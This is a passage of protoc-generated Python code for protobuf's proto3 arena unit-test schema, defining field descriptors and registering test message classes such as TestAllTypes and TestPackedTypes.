full_name='proto3_arena_unittest.TestAllTypes.optional_foreign_message', index=16, number=19, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_import_message', full_name='proto3_arena_unittest.TestAllTypes.optional_import_message', index=17, number=20, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_nested_enum', full_name='proto3_arena_unittest.TestAllTypes.optional_nested_enum', index=18, number=21, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_foreign_enum', full_name='proto3_arena_unittest.TestAllTypes.optional_foreign_enum', index=19, number=22, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_string_piece', full_name='proto3_arena_unittest.TestAllTypes.optional_string_piece', index=20, number=24, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\010\002'))), _descriptor.FieldDescriptor( name='optional_cord', full_name='proto3_arena_unittest.TestAllTypes.optional_cord', index=21, number=25, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\010\001'))), _descriptor.FieldDescriptor( name='optional_public_import_message', full_name='proto3_arena_unittest.TestAllTypes.optional_public_import_message', index=22, number=26, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='optional_lazy_message', full_name='proto3_arena_unittest.TestAllTypes.optional_lazy_message', index=23, number=27, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('(\001'))), _descriptor.FieldDescriptor( name='repeated_int32', full_name='proto3_arena_unittest.TestAllTypes.repeated_int32', index=24, number=31, type=5, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_int64', full_name='proto3_arena_unittest.TestAllTypes.repeated_int64', index=25, number=32, type=3, cpp_type=2, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_uint32', full_name='proto3_arena_unittest.TestAllTypes.repeated_uint32', index=26, number=33, type=13, cpp_type=3, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_uint64', full_name='proto3_arena_unittest.TestAllTypes.repeated_uint64', index=27, number=34, type=4, cpp_type=4, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_sint32', full_name='proto3_arena_unittest.TestAllTypes.repeated_sint32', index=28, number=35, type=17, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_sint64', full_name='proto3_arena_unittest.TestAllTypes.repeated_sint64', index=29, number=36, type=18, cpp_type=2, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_fixed32', full_name='proto3_arena_unittest.TestAllTypes.repeated_fixed32', index=30, number=37, type=7, cpp_type=3, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_fixed64', full_name='proto3_arena_unittest.TestAllTypes.repeated_fixed64', index=31, number=38, type=6, cpp_type=4, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_sfixed32', full_name='proto3_arena_unittest.TestAllTypes.repeated_sfixed32', index=32, number=39, type=15, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_sfixed64', full_name='proto3_arena_unittest.TestAllTypes.repeated_sfixed64', index=33, number=40, type=16, cpp_type=2, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_float', full_name='proto3_arena_unittest.TestAllTypes.repeated_float', index=34, number=41, type=2, cpp_type=6, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_double', full_name='proto3_arena_unittest.TestAllTypes.repeated_double', index=35, number=42, type=1, cpp_type=5, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_bool', full_name='proto3_arena_unittest.TestAllTypes.repeated_bool', index=36, number=43, type=8, cpp_type=7, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_string', full_name='proto3_arena_unittest.TestAllTypes.repeated_string', index=37, number=44, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_bytes', full_name='proto3_arena_unittest.TestAllTypes.repeated_bytes', index=38, number=45, type=12, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_nested_message', full_name='proto3_arena_unittest.TestAllTypes.repeated_nested_message', index=39, number=48, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_foreign_message', full_name='proto3_arena_unittest.TestAllTypes.repeated_foreign_message', index=40, number=49, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_import_message', full_name='proto3_arena_unittest.TestAllTypes.repeated_import_message', index=41, number=50, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_nested_enum', full_name='proto3_arena_unittest.TestAllTypes.repeated_nested_enum', index=42, number=51, type=14, cpp_type=8, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_foreign_enum', full_name='proto3_arena_unittest.TestAllTypes.repeated_foreign_enum', index=43, number=52, type=14, cpp_type=8, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='repeated_string_piece', full_name='proto3_arena_unittest.TestAllTypes.repeated_string_piece', index=44, number=54, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\010\002'))), _descriptor.FieldDescriptor( name='repeated_cord', full_name='proto3_arena_unittest.TestAllTypes.repeated_cord', index=45, number=55, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\010\001'))), _descriptor.FieldDescriptor( name='repeated_lazy_message', full_name='proto3_arena_unittest.TestAllTypes.repeated_lazy_message', index=46, number=57, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('(\001'))), _descriptor.FieldDescriptor( name='oneof_uint32', full_name='proto3_arena_unittest.TestAllTypes.oneof_uint32', index=47, number=111, type=13, cpp_type=3, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='oneof_nested_message', full_name='proto3_arena_unittest.TestAllTypes.oneof_nested_message', index=48, number=112, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='oneof_string', full_name='proto3_arena_unittest.TestAllTypes.oneof_string', index=49, number=113, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='oneof_bytes', full_name='proto3_arena_unittest.TestAllTypes.oneof_bytes', index=50, number=114, type=12, cpp_type=9, label=1, has_default_value=False, default_value=_b(""), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[_TESTALLTYPES_NESTEDMESSAGE, ], enum_types=[ _TESTALLTYPES_NESTEDENUM, ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name='oneof_field', full_name='proto3_arena_unittest.TestAllTypes.oneof_field', index=0, containing_type=None, fields=[]), ], serialized_start=110, serialized_end=2276, ) _TESTPACKEDTYPES = _descriptor.Descriptor( name='TestPackedTypes', full_name='proto3_arena_unittest.TestPackedTypes', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='packed_int32', full_name='proto3_arena_unittest.TestPackedTypes.packed_int32', index=0, number=90, type=5, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_int64', full_name='proto3_arena_unittest.TestPackedTypes.packed_int64', index=1, number=91, type=3, cpp_type=2, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_uint32', full_name='proto3_arena_unittest.TestPackedTypes.packed_uint32', index=2, number=92, type=13, cpp_type=3, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_uint64', full_name='proto3_arena_unittest.TestPackedTypes.packed_uint64', index=3, number=93, type=4, cpp_type=4, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_sint32', full_name='proto3_arena_unittest.TestPackedTypes.packed_sint32', index=4, number=94, type=17, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_sint64', full_name='proto3_arena_unittest.TestPackedTypes.packed_sint64', index=5, number=95, type=18, cpp_type=2, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_fixed32', full_name='proto3_arena_unittest.TestPackedTypes.packed_fixed32', index=6, number=96, type=7, cpp_type=3, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_fixed64', full_name='proto3_arena_unittest.TestPackedTypes.packed_fixed64', index=7, number=97, type=6, cpp_type=4, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_sfixed32', full_name='proto3_arena_unittest.TestPackedTypes.packed_sfixed32', index=8, number=98, type=15, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_sfixed64', full_name='proto3_arena_unittest.TestPackedTypes.packed_sfixed64', index=9, number=99, type=16, cpp_type=2, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_float', full_name='proto3_arena_unittest.TestPackedTypes.packed_float', index=10, number=100, type=2, cpp_type=6, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_double', full_name='proto3_arena_unittest.TestPackedTypes.packed_double', index=11, number=101, type=1, cpp_type=5, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_bool', full_name='proto3_arena_unittest.TestPackedTypes.packed_bool', index=12, number=102, type=8, cpp_type=7, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), _descriptor.FieldDescriptor( name='packed_enum', full_name='proto3_arena_unittest.TestPackedTypes.packed_enum', index=13, number=103, type=14, cpp_type=8, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001'))), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=2279, serialized_end=2709, ) _TESTUNPACKEDTYPES = _descriptor.Descriptor( name='TestUnpackedTypes', full_name='proto3_arena_unittest.TestUnpackedTypes', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='repeated_int32', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_int32', index=0, number=1, type=5, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_int64', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_int64', index=1, number=2, type=3, cpp_type=2, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_uint32', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_uint32', index=2, number=3, type=13, cpp_type=3, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_uint64', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_uint64', index=3, number=4, type=4, cpp_type=4, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_sint32', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_sint32', index=4, number=5, type=17, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_sint64', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_sint64', index=5, number=6, type=18, cpp_type=2, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_fixed32', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_fixed32', index=6, number=7, type=7, cpp_type=3, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_fixed64', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_fixed64', index=7, number=8, type=6, cpp_type=4, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_sfixed32', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_sfixed32', index=8, number=9, type=15, cpp_type=1, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_sfixed64', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_sfixed64', index=9, number=10, type=16, cpp_type=2, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_float', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_float', index=10, number=11, type=2, cpp_type=6, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_double', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_double', index=11, number=12, type=1, cpp_type=5, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_bool', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_bool', index=12, number=13, type=8, cpp_type=7, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), _descriptor.FieldDescriptor( name='repeated_nested_enum', full_name='proto3_arena_unittest.TestUnpackedTypes.repeated_nested_enum', index=13, number=14, type=14, cpp_type=8, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=_descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\000'))), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=2712, serialized_end=3191, ) _NESTEDTESTALLTYPES = _descriptor.Descriptor( name='NestedTestAllTypes', full_name='proto3_arena_unittest.NestedTestAllTypes', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='child', full_name='proto3_arena_unittest.NestedTestAllTypes.child', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), _descriptor.FieldDescriptor( name='payload', full_name='proto3_arena_unittest.NestedTestAllTypes.payload', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=3194, serialized_end=3326, ) _FOREIGNMESSAGE = _descriptor.Descriptor( name='ForeignMessage', full_name='proto3_arena_unittest.ForeignMessage', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='c', full_name='proto3_arena_unittest.ForeignMessage.c', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=3328, serialized_end=3355, ) _TESTEMPTYMESSAGE = _descriptor.Descriptor( name='TestEmptyMessage', full_name='proto3_arena_unittest.TestEmptyMessage', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=3357, serialized_end=3375, ) _TESTALLTYPES_NESTEDMESSAGE.containing_type = _TESTALLTYPES _TESTALLTYPES.fields_by_name['optional_nested_message'].message_type = _TESTALLTYPES_NESTEDMESSAGE _TESTALLTYPES.fields_by_name['optional_foreign_message'].message_type = _FOREIGNMESSAGE _TESTALLTYPES.fields_by_name['optional_import_message'].message_type = google_dot_protobuf_dot_unittest__import__pb2._IMPORTMESSAGE _TESTALLTYPES.fields_by_name['optional_nested_enum'].enum_type = _TESTALLTYPES_NESTEDENUM _TESTALLTYPES.fields_by_name['optional_foreign_enum'].enum_type = _FOREIGNENUM _TESTALLTYPES.fields_by_name['optional_public_import_message'].message_type = google_dot_protobuf_dot_unittest__import__public__pb2._PUBLICIMPORTMESSAGE _TESTALLTYPES.fields_by_name['optional_lazy_message'].message_type = _TESTALLTYPES_NESTEDMESSAGE _TESTALLTYPES.fields_by_name['repeated_nested_message'].message_type = _TESTALLTYPES_NESTEDMESSAGE _TESTALLTYPES.fields_by_name['repeated_foreign_message'].message_type = _FOREIGNMESSAGE _TESTALLTYPES.fields_by_name['repeated_import_message'].message_type = google_dot_protobuf_dot_unittest__import__pb2._IMPORTMESSAGE _TESTALLTYPES.fields_by_name['repeated_nested_enum'].enum_type = _TESTALLTYPES_NESTEDENUM _TESTALLTYPES.fields_by_name['repeated_foreign_enum'].enum_type = _FOREIGNENUM _TESTALLTYPES.fields_by_name['repeated_lazy_message'].message_type = _TESTALLTYPES_NESTEDMESSAGE _TESTALLTYPES.fields_by_name['oneof_nested_message'].message_type = _TESTALLTYPES_NESTEDMESSAGE _TESTALLTYPES_NESTEDENUM.containing_type = _TESTALLTYPES _TESTALLTYPES.oneofs_by_name['oneof_field'].fields.append( _TESTALLTYPES.fields_by_name['oneof_uint32']) _TESTALLTYPES.fields_by_name['oneof_uint32'].containing_oneof = _TESTALLTYPES.oneofs_by_name['oneof_field'] _TESTALLTYPES.oneofs_by_name['oneof_field'].fields.append( _TESTALLTYPES.fields_by_name['oneof_nested_message']) _TESTALLTYPES.fields_by_name['oneof_nested_message'].containing_oneof = _TESTALLTYPES.oneofs_by_name['oneof_field'] _TESTALLTYPES.oneofs_by_name['oneof_field'].fields.append( _TESTALLTYPES.fields_by_name['oneof_string']) _TESTALLTYPES.fields_by_name['oneof_string'].containing_oneof = _TESTALLTYPES.oneofs_by_name['oneof_field'] _TESTALLTYPES.oneofs_by_name['oneof_field'].fields.append( _TESTALLTYPES.fields_by_name['oneof_bytes']) _TESTALLTYPES.fields_by_name['oneof_bytes'].containing_oneof = _TESTALLTYPES.oneofs_by_name['oneof_field'] _TESTPACKEDTYPES.fields_by_name['packed_enum'].enum_type = _FOREIGNENUM _TESTUNPACKEDTYPES.fields_by_name['repeated_nested_enum'].enum_type = _TESTALLTYPES_NESTEDENUM _NESTEDTESTALLTYPES.fields_by_name['child'].message_type = _NESTEDTESTALLTYPES _NESTEDTESTALLTYPES.fields_by_name['payload'].message_type = _TESTALLTYPES DESCRIPTOR.message_types_by_name['TestAllTypes'] = _TESTALLTYPES DESCRIPTOR.message_types_by_name['TestPackedTypes'] = _TESTPACKEDTYPES DESCRIPTOR.message_types_by_name['TestUnpackedTypes'] = _TESTUNPACKEDTYPES DESCRIPTOR.message_types_by_name['NestedTestAllTypes'] = _NESTEDTESTALLTYPES DESCRIPTOR.message_types_by_name['ForeignMessage'] = _FOREIGNMESSAGE DESCRIPTOR.message_types_by_name['TestEmptyMessage'] = _TESTEMPTYMESSAGE DESCRIPTOR.enum_types_by_name['ForeignEnum'] = _FOREIGNENUM TestAllTypes = _reflection.GeneratedProtocolMessageType('TestAllTypes', (_message.Message,), dict( NestedMessage = _reflection.GeneratedProtocolMessageType('NestedMessage', (_message.Message,), dict( DESCRIPTOR = _TESTALLTYPES_NESTEDMESSAGE, __module__ = 'google.protobuf.unittest_proto3_arena_pb2' # @@protoc_insertion_point(class_scope:proto3_arena_unittest.TestAllTypes.NestedMessage) )) , DESCRIPTOR = _TESTALLTYPES, __module__ = 'google.protobuf.unittest_proto3_arena_pb2' # @@protoc_insertion_point(class_scope:proto3_arena_unittest.TestAllTypes) )) _sym_db.RegisterMessage(TestAllTypes) _sym_db.RegisterMessage(TestAllTypes.NestedMessage) TestPackedTypes = _reflection.GeneratedProtocolMessageType('TestPackedTypes', (_message.Message,), dict( DESCRIPTOR = _TESTPACKEDTYPES, __module__ = 'google.protobuf.unittest_proto3_arena_pb2' # @@protoc_insertion_point(class_scope:proto3_arena_unittest.TestPackedTypes) )) _sym_db.RegisterMessage(TestPackedTypes) TestUnpackedTypes = _reflection.GeneratedProtocolMessageType('TestUnpackedTypes', (_message.Message,), dict( DESCRIPTOR = _TESTUNPACKEDTYPES, __module__ = 'google.protobuf.unittest_proto3_arena_pb2' # @@protoc_insertion_point(class_scope:proto3_arena_unittest.TestUnpackedTypes) )) _sym_db.RegisterMessage(TestUnpackedTypes) NestedTestAllTypes = _reflection.GeneratedProtocolMessageType('NestedTestAllTypes', (_message.Message,), dict( DESCRIPTOR = _NESTEDTESTALLTYPES, __module__ = 'google.protobuf.unittest_proto3_arena_pb2' # @@protoc_insertion_point(class_scope:proto3_arena_unittest.NestedTestAllTypes) )) _sym_db.RegisterMessage(NestedTestAllTypes) ForeignMessage = _reflection.GeneratedProtocolMessageType('ForeignMessage', (_message.Message,), dict( DESCRIPTOR = _FOREIGNMESSAGE, __module__ = 'google.protobuf.unittest_proto3_arena_pb2' # @@protoc_insertion_point(class_scope:proto3_arena_unittest.ForeignMessage) )) _sym_db.RegisterMessage(ForeignMessage) TestEmptyMessage = _reflection.GeneratedProtocolMessageType('TestEmptyMessage', (_message.Message,), dict( DESCRIPTOR = _TESTEMPTYMESSAGE, __module__ = 'google.protobuf.unittest_proto3_arena_pb2' # @@protoc_insertion_point(class_scope:proto3_arena_unittest.TestEmptyMessage) )) _sym_db.RegisterMessage(TestEmptyMessage) DESCRIPTOR.has_options = True DESCRIPTOR._options = _descriptor._ParseOptions(descriptor_pb2.FileOptions(), _b('\370\001\001')) _TESTALLTYPES.fields_by_name['optional_string_piece'].has_options = True _TESTALLTYPES.fields_by_name['optional_string_piece']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\010\002')) _TESTALLTYPES.fields_by_name['optional_cord'].has_options = True _TESTALLTYPES.fields_by_name['optional_cord']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\010\001')) _TESTALLTYPES.fields_by_name['optional_lazy_message'].has_options = True _TESTALLTYPES.fields_by_name['optional_lazy_message']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('(\001')) _TESTALLTYPES.fields_by_name['repeated_string_piece'].has_options = True _TESTALLTYPES.fields_by_name['repeated_string_piece']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\010\002')) _TESTALLTYPES.fields_by_name['repeated_cord'].has_options = True _TESTALLTYPES.fields_by_name['repeated_cord']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\010\001')) _TESTALLTYPES.fields_by_name['repeated_lazy_message'].has_options = True _TESTALLTYPES.fields_by_name['repeated_lazy_message']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('(\001')) _TESTPACKEDTYPES.fields_by_name['packed_int32'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_int32']._options = _descriptor._ParseOptions(descriptor_pb2.FieldOptions(), _b('\020\001')) _TESTPACKEDTYPES.fields_by_name['packed_int64'].has_options = True _TESTPACKEDTYPES.fields_by_name['packed_int64']._options = 